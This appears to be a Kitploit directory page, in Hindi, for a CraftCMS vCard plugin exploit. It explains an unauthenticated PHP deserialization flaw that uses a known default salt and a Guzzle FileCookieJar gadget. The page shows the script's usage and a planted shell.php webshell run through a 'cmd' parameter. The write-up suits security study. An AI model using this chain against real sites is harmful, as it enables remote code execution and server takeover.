Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
craftcms-vcard-exploit — इस रिपॉजिटरी में CraftCMS 3 के "vCard" प्लगइन में पाई गई एक भेद्यता का विवरण है। | Kitploit
उपकरण/GitLabGitLab/wguest/craftcms-vcard-exploit
पेलोड जनरेशनभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षा
GitLabwguest/craftcms-vcard-exploit

craftcms-vcard-exploit

इस रिपॉजिटरी में CraftCMS 3 के "vCard" प्लगइन में पाई गई एक भेद्यता का विवरण है।

रिपॉजिटरी देखें
1116 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

Craft CMS vCard प्लगइन डिसीरियलाइज़ेशन भेद्यता

Craft CMS में *.vcf फ़ाइल प्रारूप में संपर्क डाउनलोड करने के लिए "vCard" नामक एक प्लगइन है। यह प्लगइन Craft के रिपॉज़िटरी और Github में देखा जा सकता है: Craft Plugin Store Github

विवरण

यह प्लगइन क्लाइंट द्वारा भेजे गए एक पैरामीटर को लेता है, openssl_decrypt के साथ मान को डिक्रिप्ट करता है, और फिर परिणामी स्ट्रिंग को PHP के unserialize फ़ंक्शन में डालता है। चूँकि एन्क्रिप्शन के लिए डिफ़ॉल्ट salt रिपॉज़िटरी में उपलब्ध है, एक हमलावर उसी तर्क का उपयोग करके एक दुर्भावनापूर्ण सीरियलाइज़्ड पेलोड को एन्क्रिप्ट कर सकता है।

यदि उपयोगकर्ता ने प्लगइन सेटिंग्स में एक संशोधित "salt" मान कॉन्फ़िगर किया है, तो इसे Python स्क्रिप्ट में एक पैरामीटर के रूप में प्रदान करना होगा। हालाँकि, यदि प्लगइन स्टोर से डाउनलोड किया जाता है या केवल रिपॉज़िटरी क्लोन की जाती है, तो यह मान अपरिवर्तित रहेगा। Craft वेब GUI के माध्यम से इसे बदलने का कोई विकल्प नहीं है।

स्क्रिप्ट उपयोग

वह vCard लिंक प्रदान करके स्क्रिप्ट चलाएँ जो संपर्क डाउनलोड को ट्रिगर करती है। vcard पैरामीटर का मान हटा दें।

उदाहरण: नमूना vcard डाउनलोड लिंक: http://craftcms/index.php?p=actions/vcard/default/index&vcard=GxHwdD1xmDkQoWbn_nPsgVR-2VOQt6w_oDmLl9h4jAglePdkMM1NMBKHTmq9Uuu7XFM9qvNs3Mi_B0-bT2JbfsflmMDzL29w2QaP28vRBHmyDLTMcacJwuBXEDUqF-sxovuY7oN-YFZXA4jOwC0CyxjLKIjz3UWBf-1ItLRkqKSSAHBuHOMeB5drdTqw67ZCmnlLVI7FYVUNBS9q3WrMRWMhexjHbO2VymDdV3q0GOlZmES9Imgdwq9ibI6okG_QFqHHq33a8U_m4NPvjTqsdm6Wm3OjcPSVV9L2RR8ZnhN9CayfaShb5jligs5b0So2Vddo8EmCZUgKP7-BIT4dlWRGwD_F0w2PyjUZRsRx25ydy6ZklXXHMb4fkrxuKXaHGfB8Y9SUbcQYAUK2OZhZno0FKWzUABDEjjvquevUSTgJr7wNq2oU4YpBwWoQCNGX7ILAuWN8_7GFIajhosdoOilLiLTmoJPWHfdpNKRaZlYcLX9zF7fUXw_BsHJZOySZhbSL0Q7ktzs__DygIL5uuongteXKIafhUFZxPEcC1W9OHy767Lgg77hJwp7lqF1krtHbbQ1o-4hV12dPkouauQ

तब स्क्रिप्ट के लिए पैरामीटर यह होगा: "http://craftcms/index.php?p=actions/vcard/default/index&vcard="

$ ./exploit_vcard.py -u "http://craftcms/index.php?p=actions/vcard/default/index&vcard="
Deserialization has been triggered, navigate to craftCMS webroot/shell.php
Use GET parameter 'cmd' to execute commands
Example: http://craftcms/shell.php?cmd=ls%20-al;whoami;ip%20a

एक वैकल्पिक salt मान है जिसे प्रदान किया जा सकता है। सभी विकल्प यहाँ दिखाए गए हैं:

usage: exploit_vcard.py [-h] -u URL [-s SALT] [-f FNAME]
Unauthenticated RCE for CraftCMS vCard Plugin

optional arguments:
-h, --help  show this help message and exit
-u URL      The URL for the vCard download without the vCard value Example:
          http://craftcms/index.php?p=actions/vcard/default/index&vcard=
-s SALT     Security key required for encrypting payload. Defaul is
          's34s4L7'
-f FNAME    File path/name to use as value in upload path: ./<value> . Use a
          PHP extension. Default value is 'shell.php'

आवश्यकताएँ

  • Python3

Python स्क्रिप्ट का परीक्षण Python 3.6 पर किया गया था।

  • PHP CLI

यह स्क्रिप्ट पेलोड को एन्क्रिप्ट करने के लिए हमलावर के होस्ट पर एक PHP कमांड चलाएगी। इसके परिणामस्वरूप, php-cli स्थापित होना आवश्यक होगा। इस हमले का परीक्षण PHP 7.2-cli और PHP 7.3-cli के साथ किया गया था।

भेद्यता वॉकथ्रू

यहाँ उस स्थान का स्नैपशॉट है जहाँ कोड असुरक्षित रूप से unserialize करता है (VCardService.php:297) Github:

  public function decodeUrlParam($optionsString = "")
  {
    $optionsString = $this->decrypt($optionsString);
    $options = unserialize($optionsString);
    return $options;
  }

$optionsString पैरामीटर क्लाइंट द्वारा प्रदान किए गए "vcard" URL पैरामीटर का मान है। इसे decrypt फ़ंक्शन से पास किया जाता है और फिर डिसीरियलाइज़ किया जाता है। यदि क्लाइंट एन्क्रिप्शन की नकल कर सकता है, तो यह कोड असुरक्षित हो जाता है क्योंकि यह सीधे उपयोगकर्ता-प्रदत्त डेटा को डिसीरियलाइज़ करता है।

यहाँ प्रश्न में एन्क्रिप्शन फ़ंक्शन है (VCardService.php:306) Github:

  protected function encrypt($string)
  {
    $key = VCard::$plugin->getSettings()->salt;
    $key = md5( $key );
    $iv = substr( md5( $key ), 0, 16);

    return rtrim(
      strtr(
        base64_encode(
          openssl_encrypt( $string, 'aes128', md5( $key ), true, $iv )
        ),
        '+/', '-_'
      ), '='
    );
  }

एक हमलावर को केवल $key चर जानने की आवश्यकता होती है, जो "VCard::$plugin->getSettings()->salt" द्वारा सेट किया जाता है। डिफ़ॉल्ट मान रिपॉज़िटरी में "s34s4L7" के रूप में देखा जा सकता है (config.php:26) Github

यह मानते हुए कि डिफ़ॉल्ट salt उपयोग किया गया है, एक हमलावर Craft इंस्टॉलेशन में किसी भी क्लास के डिसीरियलाइज़ेशन को बाध्य कर सकता है।

हमें Craft के डिफ़ॉल्ट इंस्टॉलेशन में एक "gadget" क्लास खोजने की आवश्यकता है जिसका उपयोग हम दुर्भावनापूर्ण उद्देश्यों के लिए कर सकें। यह समीक्षा करना कि किन क्लासों में __destruct या __wakeup मैजिक फ़ंक्शन हैं, समीक्षा के लिए पर्याप्त छोटी सूची प्रदान करता है। यह "grep -rni < path to web root > -e '__destruct'" का उपयोग करके किया जा सकता है।

guzzlehttp में "FileCookieJar" नामक एक क्लास है जो एक क्लास विशेषता को फ़ाइल नाम के रूप में उपयोग करके एक फ़ाइल सहेजता हुआ प्रतीत होता है:

./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php:38:    public function __destruct()
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php-39-    {
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php-40-        $this->save($this->filename);
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php-41-    }
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php-42-

save फ़ंक्शन की जाँच करने से पता चलता है कि यह किसी सिस्टम फ़ाइल पथ पर डेटा लिखेगा, पथ और डेटा दोनों क्लास विशेषताएँ हैं और हमलावर के नियंत्रण में हैं। यह समझ में आता है कि जब यह क्लास ऑब्जेक्ट नष्ट होता है, तो यह अपने पास मौजूद कुकीज़ को फ़ाइल नाम विशेषता में लिख देगा ताकि उन्हें बाद में पुनर्प्राप्त या उपयोग किया जा सके। यहाँ save फ़ंक्शन की सामग्री है जिसमें file_put_contents हमारा लक्ष्य है (FileCookieJar.php:52) Github:

public function save($filename)
{
    $json = [];
    foreach ($this as $cookie) {
        /** @var SetCookie $cookie */
        if (CookieJar::shouldPersist($cookie, $this->storeSessionCookies)) {
            $json[] = $cookie->toArray();
        }
    }

    $jsonStr = \GuzzleHttp\json_encode($json);
 
    if (false === file_put_contents($filename, $jsonStr, LOCK_EX)) {
        throw new \RuntimeException("Unable to save file {$filename}");
    }
}

सौभाग्य से, हमें दुर्भावनापूर्ण पेलोड स्वयं बनाने के लिए मैन्युअल परिश्रम नहीं करना पड़ता। शानदार टूल PHPGGC इस एक्सप्लॉइट में उपयोग के लिए हमारे लिए Guzzle क्लास को पेलोड के साथ सीरियलाइज़ करने की प्रक्रिया को स्वचालित करता है।

मैंने इस उपकरण का उपयोग एक्सप्लॉइट स्क्रिप्ट के लिए आधार पेलोड के रूप में इसे बनाने के लिए किया, हालाँकि फ़ाइल नाम के आधार पर इसे थोड़ा संशोधित किया जाएगा। साथ ही, यह ध्यान रखना महत्वपूर्ण है कि PHPGGC के साथ नया पेलोड उत्पन्न करते समय, "-f" पैरामीटर अवश्य उपयोग किया जाना चाहिए अन्यथा मैजिक __destruct फ़ंक्शन नहीं चलेगा:

टूल डाउनलोड करें